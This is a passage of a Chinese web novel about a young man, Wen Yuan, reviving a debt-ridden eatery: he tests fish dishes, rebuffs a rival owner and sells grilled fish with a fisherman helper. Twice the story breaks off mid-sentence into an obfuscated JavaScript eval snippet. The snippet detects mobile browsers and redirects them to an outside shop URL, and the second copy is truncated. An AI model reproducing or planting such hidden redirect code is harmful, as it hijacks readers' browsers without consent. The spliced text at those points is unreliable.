“少东家，您先前没经营过食肆，不懂亦能理解。”陈贵礼说：“以前有不少客人点过这道菜，都不曾说有问题，不能您一句觉得不行就要重做，这得浪费多少柴火？食肆本就没甚么钱，可不能这般浪费呀！” “端这样的菜上桌才是浪费柴火浪费鱼。”温沅没管他红一阵白一阵的脸色，曲指轻敲桌子，“重做。” 陈大立脸色一变，看向他叔父。 少东家意已决，陈贵礼无奈挥手让陈大立去重做，陈大立愤愤不平地去了。 郭巴子见气氛不对，赶紧溜回大堂。 吕三娘连忙过去杀鱼，她挑了条最鲜活的鱼，刚要捞起，就被陈大立怼了一下。 这条大肥鱼可是留给他晚上拿回家吃的，屁崽子不配吃！ “我来。”陈大立夺过她手里的刀，“你去把盐酒姜葱弄了。” “知道了。”吕三娘擦净手，进厨房备菜。 蒸鱼前需腌制一盏茶的时间，再上灶蒸上一刻钟，陈大立怕温沅再给他挑刺，因而站在灶前紧紧盯着。 后院三人在等着鱼出锅，陈贵礼瞄了余浪一眼，对温沅说：“少东家，鱼做得再好，也只是一种菜品，客人来了食肆都没法吃别的肉菜，巧妇难为无米之炊，食肆难挣钱啊，您说是不是这个理？” “确实。”温沅思考片刻，“等卖鱼挣了钱，还完债就能恢复供货了。” 陈贵礼一愣，“那得到什么时候？三个月都未必能做到啊。” “陈掌柜就不能说些吉利话？”温沅说：“何不祝食肆早日发大财？” 陈贵礼腹诽：那还不如卖了食肆呢，一举多得。 他恭祝不出口。 温沅不想理他，看向余浪，余浪顿了顿，低声说：“少爷发大财。” “好说好说。”温沅扬起下巴，“你也是。” 陈贵礼一口气梗在心口。 不消多久，大勺舀起烧得滚烫的油，配上花椒，“嗞啦”一声，蒸鱼瞬间增色增香。 蒸鱼还未上桌，香味就飘了过来。 温沅轻挑眉头，这次比刚刚的香味要浓郁不少，腥味也没了。 陈大立端菜上桌后，立在一旁一声不吭。 陈贵礼刚被噎，心里亦是不爽利，但还是站出来缓和道：“少东家，您看这条蒸鱼行不行。” 温沅执筷挑了块最容易柴的鱼肉放入口中，花椒味麻，葱花清香，酱汁口味不重，鱼肉的口感嫩滑了许多。 虽说比不上在青州城酒楼吃过的清蒸鱼，但对于食肆而言，这个味道算是勉强过关。 他看向不服气的陈大立，“两条蒸鱼一起试吃，看看有何区别。” 陈大立心想都是我做的，我能不知道区别？但谁在意呢？客人又吃不出差别，忙起来的时候谁还记得蒸鱼蒸了多久，能吃不就够了？ 纯纯挑刺罢了。 他不敢呛声，两条鱼各自试过之后，不情不愿道：“是嫩了些。” 陈贵礼跟着试了一块，不得不说，的确比上一条好吃。 但这也是他大侄子厨艺好，不然能做出这般美味的蒸鱼么？ “少东家，以后就按这个做？” 温沅转过头问余浪，“你觉得如何？” 余浪眼底闪过一丝意外，低声道：“少爷问我？” “这是你送来的鱼，自然得让你满意。” “只要少爷满意。” 温沅哼笑一声，满意地说：“以后蒸鱼就按这个口感味道来做，下一道。” “还试？”陈大立难以置信。 “当然。”温沅疑惑，“有何疑问？” “……”陈大立沉着脸去了。 过了许久，辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤、鱼蓉粟米羹，全部端上了桌。 温沅一一试过，逐个点过去，“鱼腩太碎不够辣，焖咸了配菜摆得不好看，汤不浓白还带腥，鱼羹稀成了水。” 陈大立气得想罢工，十来岁的屁崽子懂什么吃鱼！他做的这几道鱼一点问题都没有，这就是故意刁难他！ 陈贵礼脸色铁青，吕三娘战战兢兢一句话不敢说。 唯有余浪平静地站在温沅身后，目光淡然。 这时，周七豆从大堂进来，来到温沅身边，小声说：“少东家，有客人问是不是后厨做了鱼，想点一道砂锅焖鲈鱼。” “有客人问，说明鱼不错。”陈贵礼赶忙说：“少东家，不如就这样上吧？您不能这般任性呐……” “不上。”温沅筷子一甩，做足了任性的模样，“七豆，你和客人说今日食肆菜品没有鱼，请他改日再来。” 周七豆连忙点头，回了大堂。 陈贵礼脸上精彩纷呈，“少东家，再这般试下去，别说鱼不够，就是调料配菜都不够。” 一直沉默不语的余浪忽然开了口，“鱼管够。” 温沅不由地仰头看余浪，但余浪太高，他得微微靠后才能看清余浪的神情，余浪一脸的理所当 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所有人各自去忙活，人一散，温沅转过头对余浪说：“你可会修屋顶？” 他问完一想，卖鱼郎应当只会海里游，哪能天上飞？ “罢了，我还是去问问别人。” 余浪眉毛都快挑飞了，“修哪里？” “就这儿！” 食肆进门左边摆了三张四方桌，右边一间小包厢，包厢旁边摆了两张四方桌。 透着光的屋顶便在右边两张桌子中间，这几日清晨偶有细雨，积水攒着攒着落到地上弄得湿漉漉的，走路都不好走。 余浪从杂物房搬来木梯，架在食肆门口，几步爬了上去。 温沅在下面看着他一双手脚又长又有力，速度极快，上了屋顶没一下就不见了人，他后退几步都没看清，索性站到木梯旁看周边吃食摊上都在卖什么。 晚食将近，各家摊子铺子升起袅袅炊烟，老板伙计忙得热火朝天，馄饨包子、豆花、煎饼卷饼、热饮子热茶，应有尽有。 温沅馋了。 “有八片瓦烂了，得换新的。”余浪拿着烂瓦片走到屋顶边沿，看到温沅跟丢了魂一样盯着煎饼小摊，挑了挑眉，“少爷？” 温沅咽了咽口水，往后退了两步，转头见余浪一手拿着瓦片，一手扶着木梯，长腿踩下两个台阶，一个转身干脆利落地从上面跳下。 衣袂轻扬，落脚平稳。 身手了得啊。 “要换这么多？”温沅犯愁了，“你买过瓦片么？多少钱一片？” 余浪心知小少爷囊中羞涩，“城西有一家瓦片坊，价钱比在城东便宜，只需五文一片，就是路远了些，来回需两个时辰。” 这也太远了，来回一趟半个早上过去了，温沅问：“城东的瓦片多少钱一片？” “八文。” “……明日辛苦你了。” 跑一趟能省二十四文呢。 “不过，”余浪拿着瓦片互敲，一下碎成好几片，“屋顶的瓦片有些老旧不平整，以后还得换一遍。” 八片都得四十文，要是全换不得十几两银子？ 温沅“嘶”了一声，以后的事以后再说罢。 等有钱了，还怕买不起几片瓦？整间食肆推倒了重新盖都行！ 5. 食肆整治（五） 食肆里，郭巴子拿着布巾随意拍着木架，厚重的灰尘“轰”地飞起，散在空中成了尘雾。 他偏过头嚎咳了好几声，手肘捂着脸低声抱怨：“以前都没这么多活儿，少东家来了，不是擦桌子就是擦木架，烦人得很。” 周七豆卖力干活儿没接茬，只要少东家不卖食肆，他什么活儿都愿意干。 郭巴子鄙夷地看了他一眼，自顾自说：“待我拿了工钱我就走，这活儿谁爱干谁干去。” 说完看到温沅进来，连忙转过身装模作样擦木架。 温沅指尖擦过木栏杆，有些湿，不过油腻腻的感觉的确没有了，舒爽了许多。 “以后每日开门前和打烊后，都得清理一遍。” “啊——”郭巴子愤然甩开布巾，暗自腹诽：“不干了不干了，再干下去我就是狗！” “知道了少东家。”周七豆兢兢业业。 后厨多年未曾擦洗过，积攒下来的油灰比鞋底还厚，陈大立专挑轻便的活计左一下右一下干着。 吕三娘默默提着一木桶水边走边用手撒在后厨各处，灰尘被水压着不会到处飞，水撒一遍，拿起几颗无患子揉开就大力搓洗。 所有人各自忙活，只有陈贵礼背着手四处闲走，无所事事的样子，温沅好心建议：“陈掌柜不如扫一扫地？” “这我……”他在家就没扫过地！ “拆帘栊去洗也行。” “那还是扫地……”陈贵礼赶忙去拿扫帚。 “少爷，”余浪从外面进来，往柜台走去，对坐在柜台后的温沅说：“招幌换不换？” 现在的招幌和牌匾写的还是“孙家食肆”，如今换了新主，按理说要换，可是换招幌和牌匾还不知花多少钱呢。 换不起啊换不起。 温沅颓了。 怎么哪哪都要钱！ 余浪有些好笑地看着他：“牌匾可先拆下不用，先将招幌换了，招幌换起来不麻烦。” “自然不麻烦。”温沅无语地看着他，鼓起半脸，“花钱能办妥的事儿都不是麻烦事儿。” 余浪眉心微动，“少爷想不想换？” 温沅修长的眸子亮了一下，“你有法子？” “嗯。”余浪单手撑着柜台，微微弯腰看他，“少爷想换就有法子。” 那招幌温沅早想换了，他见余浪弯腰以为是离得远听不清，往前靠了靠，“我说想换，你就能换？” “能。”余浪不动声色地挑了挑眉，“我去把招幌拆下，明日给少爷带来。” “那你给我换个‘温家珍馐美馔大酒楼’，上边再画点鱼啊腿啊面啊——” “少爷少爷，”余浪打断他，“是明日带来，不是明年。” “行吧。”温沅啧了一声。 忙起来时间过得快，到晚食前，食肆简直大变样。 被厚厚的灰尘遮盖住的木围栏终于露出了本来面目，柜台上乱糟糟的账簿笔筒和算盘摆到原本的位置，摇摇欲坠的酒坛子总算顺眼，七扭八扭的桌椅也全都摆放整齐。 唯有一点小瑕疵，用久的桌椅留下不少磕碜的痕迹，痕迹无法修补，只能换。 罢了罢了，以后再说。 食肆伙计们辛苦清扫了这么久，温沅让吕三娘把下午做的鱼全部拿去热，就当犒劳一下伙计们。 吕三娘十分高兴，好久没沾过荤腥，一下来了六道荤菜，堪比过年。 周七豆咽了咽口水，默默进去帮忙。 郭巴子更是乐得早早守在后厨门口，重重地吸了口仙气，“香！” 只有陈贵礼和陈大立暗自咬牙切齿，忙了大半天，原想捞几条新鲜鱼回家煲汤，结果一条都没捞着！ 着实可气！ 余浪不在食肆吃晚食，他拆了招幌就下工回家。 从食肆回到垌渔村约莫半个时辰，全程水路。 天将暗，码头撑船的船夫大多回家吃饭去了，还想继续拉客的几位老船夫在岸边起火烤饼子。 晚上的船费比白天贵，水性好熟路的老船夫都不舍得放过。 有时余浪也会带几个客，他习惯性往浮桥上看了一眼，看到三个汉子或坐或蹲在浮桥边上，一动不动地盯着他。 他扫了几人一眼，到岸边解开船只麻绳。 麻绳一解，三人猛地站起身，甩了甩肩膀朝他走来。 余浪不紧不慢地卷起麻绳，偏过头看了他们一眼，眼神一对上，三人止了步。 天越暗，河越深，打眼看去像是无尽深渊，两边山林更是沉得密不透风，黑压压一片，叫人胆寒。 岸边烤饼的几个老船夫似乎察觉到不对劲，纷纷停下动作。 余浪把卷好的麻绳扔到船上，转过身看着三人。 三人站在原地看了余浪一会儿，又看了一眼他的船，一句话没说便转头走了。 余浪皱了皱眉头。 “余小子。”打招呼的是何老头，他看着三人离去的背影，“这几人咋回事儿？不是坐船的？” “不知。”余浪回道。 “你不认识啊？瞅着像是冲你来的。”何老头继续打听。 “不认识。”余浪心里过了一遍几人的面孔，的确没印象，“我先回了。” “哎等等。”何老头快速碾灭火堆收拾东西，“今日没什么客人，我同你一道回吧。” 两人一起回，只需开路的船点灯笼，后面跟着的船能省点灯油蜡烛。 “嗯。”余浪率先跳上了船，等何老头收拾完，拿过船桨撑到岸边一推，乌篷船便往河里划去。 天彻底黑了，余浪点起灯笼，昏黄烛光照亮船头一隅，这点光微不足道，却是后边船只唯一的方向。 “听说你去温少爷那家食肆干活儿了？” 余浪应了一声。 “那家食肆眼瞅着都要倒闭了，还欠这么多债，你去那怕是工钱都拿不到，糊涂啊。” 余浪想到今日温沅试菜的严谨，“食肆比之前好。” “能好到哪儿去？”何老头不信，可他心知余浪不是个说大话的性子，又问了一句：“怎么个好了？” “菜比以前好。”余浪回道。 “这我就不信了！”何老头摆摆手，这余小子看着高大威猛，指不定被人用言语诓骗了，他叹了叹气，“还不如跟丁家食肆低个头，哪能跟钱过不去呢？” 余浪没说话。 低头是不可能的，他甚至想把丁家食肆砸到倒闭。 他没有给人打白工的嗜好。 翌日天微亮。 温沅站在凌乱的院子里，望着屋顶上不知什么时候飞来的一只燕子，燕子正茫然地啄瓦片，也不知有没有啄到食物。 想来也是没有的，屋顶除了瓦片便是灰尘沙粒，怎会有美食。 “少东家，今天想吃什么早饭？”吕三娘走过来问。 “有什么早饭？荠菜包？”温沅想到昨日吃的荠菜包，味道还不错，要是能来个煎饼豆花卤蛋就更好了。 “今早卖咸菜稀粥。”吕三娘说：“面粉不剩多少，包不了荠菜包，想吃包子得去外边买。” 他们开食肆的想吃包子煎饼还得去别家买！ 这还是食肆么！ “就……咸菜稀粥吧。”温沅叹了口气。 稀粥还未上桌，周七豆匆匆从大堂进来，说是丁家食肆的丁老板来了，想找东家聊一聊。 说完很是忐忑不安地看着温沅。 温沅闻言挺意外，他刚接手食肆时，有许多商铺老板过来打听，得知他有卖食肆的念头，便各自出价，其中出价最高的就是丁家。 那会丁家来的只是食肆的大掌柜，却不曾想今日东家竟然亲自上门。 看来丁家是真想买食肆。 来到大堂，温沅更觉意外，这位丁老板，他见过。 “孙小侄儿，许久不见，可还记得你丁伯伯啊？”丁志德站在酒柜旁，身旁跟着两个打手，见温沅从后院出来，笑着走过去。 温沅顿了顿，不咸不淡地打了个招呼：“丁老板。” “叫丁伯伯，喊什么丁老板，见外了不是？”丁志德上下打量他。 温沅扯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224306|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角笑了笑，本就只在孙家见过几回，何来见外一说？ 那时他尚年幼，孙府常常举办宴席，这位丁老板每次都会上门，然而论起孙家和丁老板的交情，却是一般。 现在自称“丁伯伯”，也不怕抽着自个儿脸。 “丁老板今日来食肆，有何事？” “前几日忙着，孙小侄儿来了今州城也没能给你接风，听说你不打算卖食肆了？” “食肆好好的，本就不打算卖。”温沅笑笑，昨天刚下的决定，今日就上门了，消息传得挺快。 “你啊，还是年轻，卖了食肆，拿着钱再回家和你爹认个错，这不比你起早贪黑经营食肆强？”丁志德说：“这样，我给你爹去封信，帮你说说好话，父子哪有隔夜仇啊不是？” 提起孙家，温沅脸上的笑意淡去，他来今州城没两天，“假少爷”的传闻散得比漫天柳絮还纷飞，他不信丁志德没听说。 “丁老板如此好意，我也不好推辞，七豆，将笔墨拿来。” 丁志德愣了愣，他不过随口说说，一般人就给推掉了，哪有人会顺竿爬！ 他一瞪眼，笔墨就被放到面前的四方桌上。 “七豆啊，今日快马加鞭送到青州城，你可知要多久？”温沅问。 周七豆对这个不了解支吾半晌说不出，在酒柜旁偷听的郭巴子闻言立即说：“少东家，十日能到。” “那还挺快，我之前从青州城到这里花了二十日呢。”温沅笑笑，转头对丁志德说：“辛苦丁老板，天刚亮，现在写好了，一会儿就能送出去，不会耽误时间，我能不能重回孙府，就看丁老板的本事了。” 丁志德抽了抽眼角，我就算有天大的本事，你一个假少爷也回不了孙府！ 痴心妄想呢！ 温沅摇着折扇等着他写，面上十分期待。 周七豆和郭巴子虽然听说过少东家是假少爷和被逐出家门的事情，要说不好奇绝无可能，但他们也只会私下议论，没谁真的敢当面揭人伤疤问此事。 丁志德不尴不尬地笑了两声，瞅了眼笔墨没动。 就在这时，余浪拿着卷好的招幌背着新捞的鲜鱼走进食肆，他刚踏进门槛，所有人都转过了头。 包括丁老板带来的两个打手，他们看到来人，不自觉绷紧了双臂。 余浪扫了两打手一眼，竟是昨日码头遇到的三人之二，他又看了看丁志德，径直走到温沅面前，“少爷，招幌换好了。” “我看看。”温沅刚想拿，余浪已经把招幌展开。 原本的招幌上写着“孙家食肆”，现在上头的“孙”字被同颜色的布盖住，布上写着“温”，周围还用针线绣了条简单的鲤鱼，说不上栩栩如生，但绣工不差。 “好巧思。”温沅说：“先挂上去。” “好。”余浪应完，把招幌卷好，先去后院放鱼篓再去搬木梯。 丁志德看着余浪离去，转头对温沅拱拱手：“既然食肆不卖，那我就不多叨扰了。不过温老板年纪尚轻，我作为过来人奉劝你一句……” 说着，压低声音只让温沅一人听见，“不要什么人都招进食肆，像方才那位卖鱼郎，可是个大麻烦，招惹上想摆脱可就难了。” 温沅眯缝着眼看他，笑了笑，用所有人都能听到的声音说：“丁老板有话直说便是，话说一半打谜语，那我姑且认为这是离间？” 离间？要卖食肆？ 郭巴子竖起耳朵偷听，周七豆猛地转头紧盯丁志德。 “……”丁志德脸色一僵。 做了这么多年生意，老板之间讲究的就是一个意会，你懂我懂大家懂，就没人如此直白。 好言相劝竟然当面拆穿！ 什么人呐！ 温沅见余浪搬着木梯从后院出来，连忙叫住他：“余浪，丁老板有话和你说。” “什——”丁志德一言难尽，“温老板不听劝，便算我多嘴，告辞！” 说完带着两个打手甩袖而去。 “怎么了？”余浪问。 “没事，装招幌去。”温沅挥手。 6. 食肆整治（六） 旧牌匾拆下，新招幌挂上去，意味着食肆换新，就算门面不改，但熟知的人都知晓这家食肆已易主。 新的食肆，新的日子。 等赚了钱，什么招幌牌匾瓦片木架柜子桌椅统统换一遍！ 温沅看着迎风飘扬的新招幌心情大好。 余浪换完招幌，从胸领掏出一个油纸包，递给温沅。 “这什么？”温沅接过来，热的，油香浓郁，打开一看，“煎饼？” “嗯。”余浪说，“也不知合不合少爷的口味。” “你买的？”温沅问。 “杨家煎饼摊的。”余浪说，“味道还行，少爷试试。” 温沅咬了一口，双眸亮起，这不是还行，这是真的香，虽然不是当下煎好的，但热气不散，“怎想起买煎饼了，工钱没领倒是先花了钱。” “恰好路过。”余浪说，“从前在那处做过帮工，没花钱。” “嗯？”温沅一愣，“缘何不做了？” “没兴趣。”余浪说。 温沅咽下嘴里的东西，“那你对什么有兴趣？捞鱼？” “水里自在。”余浪说。 温沅想到余浪在水里睡觉的事，那真不是一般的自在，如鱼得水。 这是温沅近些日子吃到最好吃的煎饼，吃完还意犹未尽，甚至想舔舔爪子。 昨天他还对着对面的煎饼小摊流口水呢，现在吃完，闻着对面的味都不见得香。 他想了想：“要不……食肆也卖煎饼？” “卖不了呀！”陈贵礼摇头叹气，“现下哪来的钱买新豆子？都得紧着米粮面粉买呢。” “少东家，昨日您给的二百文，买了这些调料，一个铜板都不剩了。”陈大立把买回来的油盐酱醋糖摆在桌上，每样东西都不多，仅够这几日试菜用。 要想做得好吃，还得进些香料，香料最贵，左左右右都是花钱的地儿。 余浪扫了眼桌上的东西，看了陈大立一眼。 “……行吧。”温沅打消念头，现在还是将鱼做好，有了进账，才能一点点买新的东西，“今日继续试菜。” 陈大立瞄了陈贵礼一眼，陈贵礼说：“去吧。” 两人转身走去厨房，进了厨房，陈大立往门外瞟了瞟，掏出三十文给陈贵礼，“叔父，这是买调料剩下的钱。” 陈贵礼毫不客气地抓了二十文放进袖口，“剩下的给你家娃买点好吃的。” 陈大立看他一把抓走二十文，心里呸了一口，讨好地笑着，“替我家娃谢谢叔公。” “做菜去吧。”陈贵礼说：“做好些，不然又得来回折腾，那鱼都给你霍霍完了。” “叔父，要是这菜做得太好，食肆岂不是不卖了？” “你以为就这么几道菜，食肆能翻身？”陈贵礼不屑，“我几十年的老掌柜，不比他这废物少爷懂？起不来，迟早得倒闭，等着拿钱吧。” “还是叔父厉害。”陈大立说，“叔父，今日定给你留一条肥的！” 陈大立没点手艺做不了这么多年的大厨，他撸起袖子，抽出菜刀在磨刀石上唰唰两下，誓要让少东家看看他的好能耐。 温沅从钱匣拿出四十文给余浪买瓦片，千叮咛万嘱咐回来时要小心，瓦片易碎，一片五文，碎一片后果不堪设想。 余浪谨慎地把钱放入钱袋，谨慎出门，谨慎地买瓦片去了。 等他买瓦片回来修缮完，温沅已经试过一轮菜品，并且让陈大立重新做。 陈大立怒火中烧操着菜刀，吕三娘不敢触他眉头，一直战战兢兢地打下手，生怕哪件事做得不对要挨骂。 好几回她觉得陈大立有的步骤做得似乎不对，但也不敢出声。 毕竟陈大立才是大厨。 陈大立照着温沅的意见改了又改，逐渐上手。 幸得余浪每日带来的鱼多，试菜几日，初见成果。 当温沅说出“可以”那一瞬间，所有人都松了好长一口气，漫长的做菜折磨总算有了终点。 就连好脾气的的吕三娘都忍不住在心里想少东家的嘴真刁啊。 然而当众人那口气散出，少东家又开始琢磨着怎么做小鱼。 按理说三个手指宽的小鱼煎一煎最是好吃，但温沅觉得没什么特色，这样的小煎鱼鲜少有人点。 温沅想了想，转头问余浪：“你有什么想法？” “炙鱼。”余浪说。 温沅眼前一亮，对啊！炙鱼香气诱人，皮酥骨脆，若是现烤现吃，更是一绝。 陈贵礼说：“炙鱼能挣几个钱？还要浪费许多炭火，熬一锅鱼汤供客人们自行舀来吃最好，别家食肆都有免费的汤嘞。” “就炙鱼。”温沅一锤定音，“试。” “什么——”陈大立抱着头嚎道：“还要试菜？” “少东家，您这……”陈贵礼甩袖叹道：“花费这许多功夫，若是招不来客人可怎么办呐……” 周七豆和吕三娘忐忑不安地站在一旁，对于少东家试过的菜品，能不能招来客人，他们心里也没底。 郭巴子倒是没想那么多，他满心期盼着晚上又能有鱼吃了，还是炙鱼！想想就美啊！ 食肆以前也曾卖过现烤的食物，只是后来生意日渐萧条，这些相较繁琐的烹饪方式便舍弃了。 周七豆从杂物间取出许久未用过的烤炉。 烤炉为长条槽形，四角长足，约莫半人高，双层炉身，上一层底部有条形镂孔，下一层和上层相似，只是少了镂空部分，用以承接烤炉炭灰。 烤炉许久未用，生了不少铁锈，不过炙鱼不用碰壁，擦洗干净就能使用。 周七豆忙活着擦洗，吕三娘去处理小鱼，而陈大立不情不愿地去弄烤酱汁儿。 市面上的炙烤香料和烤酱汁儿大差不差，弄这个不是难事儿，最重要还是不要把小鱼烤焦烤糊。 吕三娘把杀好的小鱼逐一划上两道花刀，刚想穿串时，才想起食肆里没有竹签。 街市上有卖削好的细竹签，不贵，五文钱就有一大扎，温沅纠结半晌咬咬牙让吕三娘去买，正好被余浪听到。 “明日我去砍根长竹来，削成竹签，够用了。”余浪说。 “你要捞鱼，还能砍竹子？”温沅问。 “嗯，顺手的事。”余浪说。 温沅心想丁志德说的话果真不能信，余浪是他招惹来的，像余浪这般能干的人，到哪都不愁好活计，然而来了这儿，工钱没谈过到底给多少，鲜鱼还是赊账的，一而再再而三地占了余浪好多便宜。 要说摆脱，也是余浪想摆脱他。 挟恩图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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隔壁面馆老板闲步到食肆门口，找郭巴子打听了一下，得知是温家食肆准备在门口弄炙鱼，心中不屑。 可架不住好奇，“这几日天天都是鱼味，你们家食肆，光吃鱼啊？” “是吧……”郭巴子心里也摸不准，每次试菜结束，那一碟碟的鱼都会留下给他们吃，虽说味道也好，但肯定比不上新鲜出炉的，奈何他没机会吃到，实际新菜品如何，也无从得知。 面馆老板看温沅那兴致勃勃的样子，忍不住说：“温少爷何必浪费这功夫呢，不如我多给五两，凑够八十五两，如何？” 温沅笑眯眯地说：“多谢老板的好心，要是我手头上没钱，便找老板您借点，想必老板如此热心肠不会推辞。” “你想得美！”面馆老板甩袖而去，他回了面馆，又拉了张长椅坐到门口，就想看温少爷辛苦折腾最后竹篮打水一场空，想想就令人高兴。 炉子弄好，第一条小鱼放上去，炭火热烤。 一阵炙鱼香传出，香味如烟般钻到热闹的街市上，诱得本不想留步的路人口舌生津。 面馆老板闻着香咽了咽涎水，摇着蒲扇的手一停，看着路人追着炙鱼香去到烤炉问价。 “伙计，您家烤鱼怎么卖啊？” “四文一条，七文两条。” “给我来两条！” 面馆老板猛地起身，瞪大双眼，“什么！就卖出去了？” 7. 食肆整治（七） “不过两条小鱼，不成气候。”面馆老板稳了稳表情，又坐下了。 他这厢刚坐下，忽见街边路人慢下脚步，纷纷转头望向温家食肆，似是好奇什么玩意儿能传出如此诱人的香味。 凑近一看，竟是炙烤小鱼。 要说炙香算不上特别，家里有钱有闲的都爱折腾一二，可温家食肆的炙香，竟是带了丝丝黎檬子味。 腌制好的小鱼摆上方形烤炉上，经由桑木红炭这么一烤，没一会儿鱼皮就变了金黄色，食肆大厨手持葵扇一边扇一边利落翻面，烟火欻欻向上飘。 金黄的鱼皮上滋滋冒着油泡，花刀处卷起了细边，刷上一层芝麻油和特制的酱汁，再翻面。 就这么来回翻，直至小鱼烤熟，最后再淋上一层令人口舌生津的微酸黎檬子汁。 齐活儿！ 停下的路人都围了上去，之前曾来过孙家食肆吃饭的路人，面上不以为然。 “这家食肆能做出什么好东西？以前我来吃过。”这人戴着红头巾，摇着头歪撇嘴：“难吃极了。” 第一位买鱼的客人闻言，登时有些后悔：“真难吃啊？我都付钱了。” “哦哟，那你被骗了，不如叫那老掌柜退钱罢。”红头巾说。 客人立刻望向温沅，方才是这位小少爷收的钱。 温沅笑了笑：“您可先试试，若是您觉得不好吃，我便送您一条的大鲜鱼，如何？” 客人犹豫片刻：“行吧。” 烤鱼小串无需纸包，拿在手上便能吃，客人接过手，香味扑鼻而来，他胡乱吹了几口，迫不及待放入口中，他想着不好吃还能挣条鲜鱼回家焖。 咬下第一口时，一句“给我送鱼”都要喊出来了，这时口中油香炸开，鱼皮略微焦黄，脆香可口，鱼肉鲜嫩不干，就连鱼刺都带着入骨的果香。 客人眼前一亮，着急忙慌又是第二口。 一旁的红头巾见状，连忙问：“咋样？” 客人舍不下嘴，说不出话，扬起拇指冲红头巾连连点头，口中嗯嗯啊啊赞叹不已。 “真这般好吃？莫不是骗人？”红头巾不信，“给我来一口。” 那客人愣了愣，确认自己真的不认识这红头巾，“自个儿买去！” “小气！”红头巾犹疑着点了一条，拿到手上时，他依旧不信。 当咬下第一口，焦黄的酥脆鱼皮发出悉悉索索的小脆响，以往吃过的烤鱼也就鱼皮香脆，大多鱼肉都没滋没味，然而手中这条炙鱼却是从皮到骨都咸香适中。 这味儿，太香了！ 一条没吃完呢，红头巾伸出双指，而后比了个“四”，不言而喻。 十八枚铜钱丢到烤摊旁的瓷碗里，发出叮呤哐啷的响声，他头也不回地进了温家食肆，这不得坐下慢慢吃嘛。 周七豆在食肆门口看得一愣一愣的，直到温沅叫了他一声，才急忙进去招呼客人。 面馆老板面色一僵，屁股生火了般忍不住站起，想了想又顿住，不过一两个客人，这有什么好稀奇的？ 心里这般想着，但双眼还是紧紧盯着温家食肆的炙鱼小摊，香味传来，止不住咽了咽涎水。 他半蹲马步似的看了一会儿，只见炙鱼小摊越来越多人围上去，没一会儿就给围了个全乎，小摊上的大厨都瞧不见了。 面馆老板夫郎从店里出来，瞧见他家相公跟个讨食的老狗似的，脖子伸得老长，舌头都快掉地上去了。 店里没有生意还不去吆喝，光杵在门口瞎看个甚么劲儿。 老板夫郎抬脚朝屁股狠狠一踹，那老板像个被炮仗炸开的牛屎一般飞到了人堆里。 “还不干活儿！偷甚么闲！”老板夫郎大怒。 老板瞪起眼就要骂，眼珠一转，小跑回夫郎身边俏声说：“之前这家吃食这么难吃，现在围了这许多人，这不得试试？” “试个屁！”老板夫郎骂：“你没做过炙鱼？有甚么稀罕的？” 话音刚落，围着炙鱼小摊的人群中爆出几声叫喊。 “来一条尝尝鲜！” “我要两条！” “这都午食了，一两条的能吃饱？打打牙祭罢了。” 温沅闻言，立刻朝郭巴子使了个眼色。 郭巴子正拉着路人吹闲话话呢，吹得兴起时，少东家一个眼神甩过来，他险些喷出一句“你看啥看”。 他甩了甩布斤，冲人群喊：“食肆新出菜品辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤、鱼蓉粟米羹，配上一碗大米饭，又鲜又香又饱腹喽！” 菜名一报，客人们方知这家除了炙鱼还有午食，然而炙鱼好吃，别的菜品未必可口，一时之间，都有些犹豫。 四文七文打牙祭对他们而言还算能接受，吃顿午食可不止这个价。 有人还在原地观望，郭巴子接到少东家的眼神指示，立即高喊：“温家食肆上新菜品，三日内，只要在食肆内吃够百文，便送一盘炙烤小鱼，先到先吃嘞！” 白送一盘！ 有的客人听了伙计的吆喝心一动。 这客人正好是前边开杂货铺的老板，平日没别的爱好，就爱到江边钓鲜鱼吃。 “砂锅焖鲈鱼？好久没吃了，给我来一份！”他拿着两串炙鱼吃得满嘴留香，“要说最好吃的砂锅焖鲈鱼，得去青州城的福香大酒楼，那才叫一绝！” 温沅挑起眉：“那您便是来对了。” 食肆里边来了生意，温沅让陈大立回厨房做菜，炙鱼的活计由吕三娘接手，她虽是打下手的厨娘，但温沅考虑到大厨仅有一位忙里不忙外，就让吕三娘顶上。 温沅吃过吕三娘包的荠菜包子，手艺不错，烤几条小鱼不在话下。 杂货铺老板一进食肆，后边几名犹豫不决的客人一拍大腿，也进去试试，白送呢！这等好事岂能错过？至于新菜品到底好不好吃也得试了才知道，方才那位红头巾进去就没出来过，指不定好吃呢？ 进了食肆一看，何止是不出来，那红头巾吃得正美呢，拉着那小伙计嚷嚷着要点新菜品。 客人多起来，光陈大立一人忙不过来，好几次跟陈贵礼说把吕三娘喊进来给他打下手。 炙鱼小摊正红火呢，吕三娘哪里能分身？ 那厢温沅一为难，余浪转头扎起袖子去杀鱼。 卖鱼郎，杀鱼是门熟活儿。 陈大立因要做的菜品多，忙起来就止不住想敷衍一二，被余浪盯着，只得老老实实按照之前温沅定下的口味去做，生怕做毁一条鱼，这卖鱼郎能把他当鱼刮了。 往日门可罗雀的食肆，此时热闹了好一阵儿。 面馆老板和夫郎看得眼馋不已，老板夫郎觉得那些人定是花钱请来做戏的，不过几日，那厨子的手艺就突飞猛进了？ 谁信呐！ “去！买一条回来给我尝尝。”老板夫郎说。 “两条便宜，一条四文，两条才七文！”老板说。 “七文七文！一碗素面才六文！就一条！吃一口尝尝味差不多了，你还寻思着要吃饱啊？”老板夫郎说。 老板捏出四文钱不情不愿地让店里伙计去了，他才不要亲自去买，丢面儿。 等了许久，那伙计终于拿着新鲜烤出的小鱼回来，这香味离远了香，近了更是香。 他刚要接过，就被夫郎截了胡，“哎——” 